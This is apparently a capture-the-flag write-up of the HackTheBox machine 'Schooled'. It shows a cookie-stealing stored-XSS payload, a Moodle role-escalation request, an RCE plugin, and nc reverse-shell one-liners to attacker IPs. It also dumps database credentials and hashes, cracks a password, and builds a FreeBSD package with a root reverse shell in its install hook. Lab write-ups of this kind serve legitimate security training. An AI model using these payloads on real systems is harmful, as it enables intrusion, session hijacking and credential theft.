Cover Image for undefined
Marmeus
Marmeus

Introduction

Shcooled is a hard-medium linux machine from HackTheBox where the attacker will have to exploit several moodle vulnerabilities in order to obtain a reverse shell. Then, will have to crack the passwords stored in the moodle database in order to obtain the user flag. Finally, the attacker will have to craft a malign pkg package triggering a reverse shell during its installation.

Enumeration

As always, let's start finding all opened ports available in the machine with nmap.

kali@kali:~/Documents/HTB/Schooled$ sudo nmap -sS -p- -n -T5 -oN AllPorts.txt 10.10.10.234
Warning: 10.10.10.234 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.10.234
Host is up (0.044s latency).
Not shown: 46911 filtered ports, 18621 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
33060/tcp open  mysqlx

# Nmap done at Sat Apr  3 16:10:39 2021 -- 1 IP address (1 host up) scanned in 94.72 seconds

Then, we continue gathering more information of each opened ports.

kali@kali:~/Documents/HTB/Schooled$ sudo nmap -sC -sV -p22,80,33060 -n -oN PortsInDepth.txt 10.10.10.234
Nmap scan report for 10.10.10.234
Host is up (0.046s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0)
| ssh-hostkey: 
|   2048 1d:69:83:78:fc:91:f8:19:c8:75:a7:1e:76:45:05:dc (RSA)
|   256 e9:b2:d2:23:9d:cf:0e:63:e0:6d:b9:b1:a6:86:93:38 (ECDSA)
|_  256 7f:51:88:f7:3c:dd:77:5e:ba:25:4d:4c:09:25:ea:1f (ED25519)
80/tcp    open  http    Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (FreeBSD) PHP/7.4.15
|_http-title: Schooled - A new kind of educational institute
33060/tcp open  mysqlx?
| fingerprint-strings: 
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp: 
|     Invalid message"
|     HY000
|   LDAPBindReq: 
|     *Parse error unserializing protobuf message"
|     HY000
|   oracle-tns: 
|     Invalid message-frame."
|_    HY000
[...]


Because we need credentials for the mysql and ssh server, we should start looking at the web server.

Schooled web

In the contact information we see the domain schooled.htb.

contactInfo

Because using the domain doesn't provide anything useful, let's find some sub-domains with ffuz

kali@kali:~/Documents/HTB/Schooled$ ffuf -w /usr/share/wordlists/custom.txt -H "HOST: FUZZ.schooled.htb" -u http://10.10.10.234/ -mc 200 -fl 462

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.10.234/
 :: Wordlist         : FUZZ: /usr/share/wordlists/custom.txt
 :: Header           : Host: FUZZ.schooled.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200
 :: Filter           : Response lines: 462
________________________________________________

moodle                  [Status: 200, Size: 84, Words: 5, Lines: 2]

ffuf provide us a new sub-domain moodle.schooled.htb, that once added to our /etc/hosts file, we can get access to the moodle platform.

Schooled Moodle platform

After creating an account in the moodle we can see that there are several courses available.

After digging between all the courses there is an announcement by Manuel Phillips in the mathematics course that seems like a hint for what we have to do.

This is a self enrollment course. For students who wish to attend my lectures be sure that you have your MoodleNet profile set.

Students who do not set their MoodleNet profiles will be  removed from the course before the course is due to start and I will be checking all students who are enrolled on this course.

Look forward to seeing you all soon.

Manuel Phillips

Exploit 1

The field MoodleNet can be found editing our profile. Furthermore, it seems vulnerable to stored xss. Hence, we can retrieve the Manuel Philips' session cookie, by saving the following code into the MoodleNet field of our profile.

Note: Do not forget to change your IP address

<scrip>document.write('<img src=x onerror=this.src="http://10.10.14.9/?c="+document.cookie>');</script>

After saving the changes we need to create a simple HTTP server so we can retrieve the cookie. After a couple of seconds, we retrieve the Manuel Phillips' cookie.

kali@kali:~/Documents/HTB/Schooled$ sudo python3 -m http.server 80
[...]
10.10.14.27 - - [05/Apr/2021 05:14:06] "GET /?c=MoodleSession=irt161571ro642daa25kkphgv5 HTTP/1.1" 200 - <- My Cookie
10.10.10.234 - - [05/Apr/2021 05:14:18] "GET /?c=MoodleSession=lfqd0oppqni9ige0gojga4amsr HTTP/1.1" 200 - <- Manuel Phillips' cookie

Exploit 2

Once, replaced our cookie with Manuel's we will become a teacher in the Maths course. Then, after searching on google appears to be an exploit (CVE-2020-14321) that uses the role teacher to upgrade privileges, obtaining the role Manager.

Note: You must do it pretty quickly, because the roles are reset after a while. So read these steps carefully before trying to exploit it.

In order to do so, we need to enrol a user into the Maths course and intercept the request with Burpsuite.

image-20210405112648810

Once in burpsuite, we must modify the parameter serlist%5B%5D=28 , changing its value to 24 (Manuel's id) and the parameter roletoassign=5 to 1 (Manager role).

GET /moodle/enrol/manual/ajax.php?mform_showmore_main=0&id=5&action=enrol&enrolid=10&sesskey=oLaBTOsHw2&_qf__enrol_manual_enrol_users_form=1&mform_showmore_id_main=0&userlist%5B%5D=24&roletoassign=1&startdate=4&duration= HTTP/1.1
Host: moodle.schooled.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://moodle.schooled.htb/moodle/user/index.php?id=5
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Connection: close
Cookie: MoodleSession=72nm3m4h4igo38jsgge1p65avd

Now, we need to add Lianne Carter (The administrator of this moodle platform) as Manager of the Mathematics course, so we can login as her later on. For doing so, we only have to enrol him selecting the Manager role.

Enrol Lianne Carter

Then, going to the Manuel Phillips profile for the mathematics course, we need to click in the Manager link

Manuel's roles

Then we need to click on Lianne Carter.

Managers List

Then, clicking on "Log in as" we are able to login as him.

Login As Lianne

After that, we need to modify the Manager role permissions in order to be able to install a new plugin.

First, we need to access to Site administration/Users/Define Roles/Manager/Edit. Then, we intercept with burpsuite the request produced by clicking on "Save changes", editing the request as the following link (Do not replace the sseskey variable).

Now we can install a moodle plugin. The following plugin provide us with an RCE in the moodle web page. Once installed you will see the banner telling you, that it has been installed correctly.

plugin Installed Successfully

Now you can execute commands through this link.

http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php?cmd=id

If you want a reverse shell, use this link, changing the IP and port.

http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.15.26%204444%20%3E%2Ftmp%2Ff

Privilege escalation 1

Once obtained our reverse shell, we are user www, so we need to escalate privileges. In order to do so, we need some credentials for the moodle database, which are stored in the config.php file.

$ cat /usr/local/www/apache24/data/moodle/config.php
[...]
$CFG->dbtype    = 'mysqli';
$CFG->dblibrary = 'native';
$CFG->dbhost    = 'localhost';
$CFG->dbname    = 'moodle';
$CFG->dbuser    = 'moodle';
$CFG->dbpass    = 'PlaybookMaster2020';
$CFG->prefix    = 'mdl_';
$CFG->dboptions = array (
  'dbpersist' => 0,
  'dbport' => 3306,
  'dbsocket' => '',
  'dbcollation' => 'utf8_unicode_ci',
);
[...]

Now, with the database credentials in our hands we can extract the credentials from every registered user in the moodle platform.

$ /usr/local/bin/mysql -u moodle -pPlaybookMaster2020 -e "show databases; use moodle; show tables; describe mdl_user;"

[...]
username        varchar(100)    NO
password        varchar(255)    NO
[...]

$ /usr/local/bin/mysql -u moodle -pPlaybookMaster2020 -e "use moodle; SELECT username, password FROM mdl_user;"

username        password
guest   $2y$10$u8DkSWjhZnQhBk1a0g1ug.x79uhkx/sa7euU8TI4FX4TCaXK6uQk2
admin   $2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW
bell_oliver89   $2y$10$N0feGGafBvl.g6LNBKXPVOpkvs8y/axSPyXb46HiFP3C9c42dhvgK
orchid_sheila89 $2y$10$YMsy0e4x4vKq7HxMsDk.OehnmAcc8tFa0lzj5b1Zc8IhqZx03aryC
chard_ellzabeth89       $2y$10$D0Hu9XehYbTxNsf/uZrxXeRp/6pmT1/6A.Q2CZhbR26lCPtf68wUC
morris_jake89   $2y$10$UieCKjut2IMiglWqRCkSzerF.8AnR8NtOLFmDUcQa90lair7LndRy
heel_james89    $2y$10$sjk.jJKsfnLG4r5rYytMge4sJWj4ZY8xeWRIrepPJ8oWlynRc9Eim
nash_michael89  $2y$10$yShrS/zCD1Uoy0JMZPCDB.saWGsPUrPyQZ4eAS50jGZUp8zsqF8tu
singh_rakesh89  $2y$10$Yd52KrjMGJwPUeDQRU7wNu6xjTMobTWq3eEzMWeA2KsfAPAcHSUPu
taint_marcus89  $2y$10$kFO4L15Elng2Z2R4cCkbdOHyh5rKwnG4csQ0gWUeu2bJGt4Mxswoa
walls_shaun89   $2y$10$EDXwQZ9Dp6UNHjAF.ZXY2uKV5NBjNBiLx/WnwHiQ87Dk90yZHf3ga
smith_john89    $2y$10$YRdwHxfstP0on0Yzd2jkNe/YE/9PDv/YC2aVtC97mz5RZnqsZ/5Em
white_jack89    $2y$10$PRy8LErZpSKT7YuSxlWntOWK/5LmSEPYLafDd13Nv36MxlT5yOZqK
travis_carl89   $2y$10$VO/MiMUhZGoZmWiY7jQxz.Gu8xeThHXCczYB0nYsZr7J5PZ95gj9S
mac_amy89       $2y$10$PgOU/KKquLGxowyzPCUsi.QRTUIrPETU7q1DEDv2Dt.xAjPlTGK3i
james_boris89   $2y$10$N4hGccQNNM9oWJOm2uy1LuN50EtVcba/1MgsQ9P/hcwErzAYUtzWq
pierce_allan    $2y$10$ia9fKz9.arKUUBbaGo2FM.b7n/QU1WDAFRafgD6j7uXtzQxLyR3Zy
henry_william89 $2y$10$qj67d57dL/XzjCgE0qD1i.ION66fK0TgwCFou9yT6jbR7pFRXHmIu
harper_zoe89    $2y$10$mnYTPvYjDwQtQuZ9etlFmeiuIqTiYxVYkmruFIh4rWFkC3V1Y0zPy
wright_travis89 $2y$10$XFE/IKSMPg21lenhEfUoVemf4OrtLEL6w2kLIJdYceOOivRB7wnpm
allen_matthew89 $2y$10$kFYnbkwG.vqrorLlAz6hT.p0RqvBwZK2kiHT9v3SHGa8XTCKbwTZq
sanders_wallis89        $2y$10$br9VzK6V17zJttyB8jK9Tub/1l2h7mgX1E3qcUbLL.GY.JtIBDG5u
higgins_jane    $2y$10$n9SrsMwmiU.egHN60RleAOauTK2XShvjsCS0tAR6m54hR1Bba6ni2
phillips_manuel $2y$10$ZwxEs65Q0gO8rN8zpVGU2eYDvAoVmWYYEhHBPovIHr8HZGBvEYEYG
carter_lianne   $2y$10$jw.KgN/SIpG2MAKvW8qdiub67JD7STqIER1VeRvAH4fs/DPF57JZe
parker_dan89    $2y$10$MYvrCS5ykPXX0pjVuCGZOOPxgj.fiQAZXyufW5itreQEc2IB2.OSi
parker_tim89    $2y$10$YCYp8F91YdvY2QCg3Cl5r.jzYxMwkwEm/QBGYIs.apyeCeRD7OD6S
marmeus $2y$10$PxajPwQA4jH/QMdb4ohwPuRKWhIbm4eSFHfI5ZQCCBcVu2FE/f3PC
pepe    $2y$10$wfXpNKAc1/KNWMbxEykLzeK82cGTJSfrzrUGTt07hQ5udT9xJdQU.

All the passwords has been hashed using Blowfish, which is a very time consuming hash function.

kali@kali:~/Documents/HTB/Schooled$ hashid
$2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW
Analyzing '$2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW'
[+] Blowfish(OpenBSD) 

Hence, we are going to focus on the admin's hash.

kali@kali:~/Documents/HTB/Schooled$ hashcat -a 0 -m 3200 hashes /usr/share/wordlists/rockyou.txt
hashcat (v6.0.0) starting...

[...]

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

[...]

$2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW:!QAZ2wsx

Trying the password !QAZ2wsx with the users in the system jamie and steve we discovered that we can get access through SSH as jamie.

Privilege escalation 2

The user jamie can install FreeBSD packages. So as we did with the machine Armageddon, we are going to use the installation hooks in order to obtain a reverse shell as root.

jamie@Schooled:~ $ sudo -l                     
User jamie may run the following commands on Schooled:      
    (ALL) NOPASSWD: /usr/sbin/pkg update       
    (ALL) NOPASSWD: /usr/sbin/pkg install *

In order to create the package I followed this post. But here you have the modified script adding the execution of a reverse shell.

Note: Do not forget to change the IP and port.

#!/bin/sh

STAGEDIR=/tmp/package
rm -rf ${STAGEDIR}
mkdir -p ${STAGEDIR}

cat >> ${STAGEDIR}/+PRE_INSTALL <<EOF
# careful here, this may clobber your system
echo "Resetting root shell"
rm /tmp/a;mkfifo /tmp/a;cat /tmp/a|/bin/sh -i 2>&1|nc 10.10.15.26 4444 >/tmp/a
EOF

cat >> ${STAGEDIR}/+POST_INSTALL <<EOF
# careful here, this may clobber your system
echo "Registering root shell"
pw usermod -n root -s /bin/sh
EOF

cat >> ${STAGEDIR}/+MANIFEST <<EOF
name: mypackage
version: "1.0_5"
origin: sysutils/mypackage
comment: "automates stuff"
desc: "automates tasks which can also be undone later"
maintainer: john@doe.it
www: https://doe.it
prefix: /
EOF

echo "deps: {" >> ${STAGEDIR}/+MANIFEST
pkg query "  %n: { version: \"%v\", origin: %o }" portlint >> ${STAGEDIR}/+MANIFEST
pkg query "  %n: { version: \"%v\", origin: %o }" poudriere >> ${STAGEDIR}/+MANIFEST
echo "}" >> ${STAGEDIR}/+MANIFEST

mkdir -p ${STAGEDIR}/usr/local/etc
echo "# hello world" > ${STAGEDIR}/usr/local/etc/my.conf
echo "/usr/local/etc/my.conf" > ${STAGEDIR}/plist

pkg create -m ${STAGEDIR}/ -r ${STAGEDIR}/ -p ${STAGEDIR}/plist -o .

Now we need to execute the script in the FreeBSD machine.

jamie@Schooled:/tmp $ chmod +x script.sh; ./script.sh
jamie@Schooled:/tmp $ ls             
mypackage-1.0_5.txz     mysqlx.sock             script.sh                                     
mysql.sock              mysqlx.sock.lock                                                      
mysql.sock.lock         package 

pkg by default checks the online FreeBSD repository catalogue before installing any package, it hangs until it updates the catalogue.

jamie@Schooled:/tmp $ sudo /usr/sbin/pkg install mypackage-1.0_5.txz
Updating FreeBSD repository catalogue...
pkg: Repository FreeBSD has a wrong packagesite, need to re-create database

Hence, we need to add the flag --no-repo-update so it doesn't update the catalogue.

jamie@Schooled:/tmp $ sudo /usr/sbin/pkg install --no-repo-update mypackage-1.0_5.txz
pkg: Repository FreeBSD has a wrong packagesite, need to re-create database
pkg: Repository FreeBSD cannot be opened. 'pkg update' required
Checking integrity... done (0 conflicting)
The following 1 package(s) will be affected (of 0 checked):
New packages to be INSTALLED:
        mypackage: 1.0_5
Number of packages to be installed: 1
Proceed with this action? [y/N]: y
[1/1] Installing mypackage-1.0_5...
Resetting root shell
rm: /tmp/a: No such file or directory      

Now, the installation will hang, but it is due to our a reverse shell as root, getting the root flag.

kali@kali:~/Documents/HTB/Schooled$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.15.26] from (UNKNOWN) [10.129.109.156] 11387
# id
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
# wc -c /root/root.txt
32